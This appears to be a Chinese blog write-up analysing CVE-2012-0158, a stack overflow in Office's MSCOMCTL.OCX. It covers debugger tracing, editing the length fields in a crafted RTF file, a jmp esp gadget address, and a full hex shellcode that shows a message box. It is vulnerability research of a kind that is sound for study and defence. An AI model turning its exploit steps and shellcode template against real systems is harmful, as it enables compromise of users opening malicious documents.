CVE-2012-0158漏洞分析

1. 软件简介

Microsoft Office 2003 sp3是2007年9月18日由微软公司创作的一个办公软件。精简版包含 Word、Excel、PowerPoint、Access、OutLook 五大组件常用功能(可选安装)

2. 漏洞成因

CVE-2012-0158发生在office的一个组件MSCOMCTL.OCX,多个版本office的该模块都

存在这个漏洞,MSCOMCTL.OCX这个漏洞模块是office解析activeX控件用到的一个动态库,如果一个office文档中包含activeX这类控件元素的话,比如按钮、列表、树形控件等,当文档通过office打开时MSCOMCTL.OCX就会被自动载入office程序的进程空间被调用来解析和显示控件。

本漏洞属于经典缓冲区溢出漏洞里的栈内存拷贝溢出漏洞,当office解析到一个被构造好的控件(以ListView列表控件为例),会发生栈内存越界拷贝。

CVE-2012-0158 漏洞触发在 MSCOMCTL.ocx 模块中,漏洞成因是在读取数据时,读取的

长度和验证的长度都在文件中,所以可以自行构造,进而触发栈溢出。

1. 利用过程

1. 定位溢出点

搭建环境,windows7+office 2003 sp3,运行使用OD附加(设置不忽略异常),打开poc,程序运行崩溃,执行到0x41414141

栈溢出,返回地址被覆盖了触发异常,触发异常的函数内部调用了MSCOMCTL模块中的代码

在调用mscomctl模块函数的函数起始下断点,重新运行断下后单步分析

定位到造成栈溢出的函数为0x275c876D

2. 分析触发漏洞函数

OD动态调试,发现溢出的为0x275C87CB的复制数据的操作,首先比较传入与获取的长度大小,相同则读取文件数据到申请的堆空间中,再复制到栈缓冲区首地址,造成了栈溢出漏洞的触发

在IDA中分析MSCOMCTL.OCX中的0x275C876D函数

在010Editor打开文件查看数据,为Ref格式文件

找到标识长度的数据和字符串数据

将前一个00008282修改为00008382之后再次调试

证明前一个大小为获取的大小,后一个为比较的大小,都保存在文件中可以修改

3. 构造shellcode

 

Addr(jmp esp)+\x90\x90\x90\x90\x90\x90\x90\x90+shellcode

在程序加载的模块中找到jmp esp指令所在的地址,要求模块未开启dep,aslr,与she,且属于系统模块最好

在windbg中使用 !py mona mod 查找

0x72940000 C:\Windows\system32\MSVBVM60.DLL

!py mona fw -s "jmp esp" -m MSVBVM60  0x729a0535

0x729a0535 + \x90\x90\x90\x90\x90\x90\x90\x90 + shellcode 将构造的数据写入文件

注意是以字符串的形式读取并且同样在内存中同样遵循小端,在OD中shift+x复制出shellcode粘贴到

4. 验证

调试运行

成功弹窗

4. POC

shellcode的编写大概是这样的流程 :

1.获取kernel32.dll基址,通过GetProcAddress获取需要使用函数的地址(函数地址需遍历导出表),通过LoadLibrary加载需要的模块

    2.采用哈希算法来瘦身,减小shellcode体积

    3.由于0x0A (回车), 0x00等机器码会导致截断,需要对代码进行加密解密的操作(消除截断代码)

//溢出点开始

Jmp esp指令地址 + 0000000000000000 + shellcode
35059a720000000000000000558BEC53565783EC7FEB4E47657450\

726F6341646472657373004C6F61644C696272617279457841005573\

657233322E646C6C004D657373616765426F7841004578697450726F\

636573730048656C6C6F20576F726C642100E8000000005B648B3530\

0000008B760C8B761C8B368B56085352E8180000008BF05256538D4B\

BC5152FFD05B5E5A56505253E86E000000558BEC83EC0C528B55088\

B723C8D34328B76788D34328B7E1C8D3C3A897DFC8B7E208D3C3A8\

97DF88B7E248D3C3A897DF433C0EB01408B75F88B34868B55088D343\

28B550C8D7AADB90E000000FCF3A675E38B75F433FF668B3C468B55\

FC8B34BA8B55088D04165A8BE55DC20800558BEC8B5D088D5BCB8B\

451033C9515153FFD08B5D088D5BD653508B4514FFD033C9518B5D08\

8D5BEE535351FFD08B5D088D5BE2538B450C508B4514FFD06A00FFD05F5E5B5DC3

5. 结语

CVE-2012-0158属于非常经典的基于栈的缓冲区溢出漏洞,发生在MSCOMCTL.OCX模块,

在一段内存拷贝时,由于检查条件错误造成基于栈的缓冲区溢出。

    本次漏洞利用使用的是rtf(富文本)文件,是简单的基于标签的文本格式文件,而其中保存的长度可以自行修改从而触发漏洞,同时office文档和MHT文档同样能被此漏洞利用,此类文档类型漏洞需要对文件格式一定了解,分析过程中,利用栈溢出是向下破坏的特点,覆盖的是调用该触发漏洞函数的栈空间,在溢出点上方查找分析从而定位造成栈溢出的代码

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值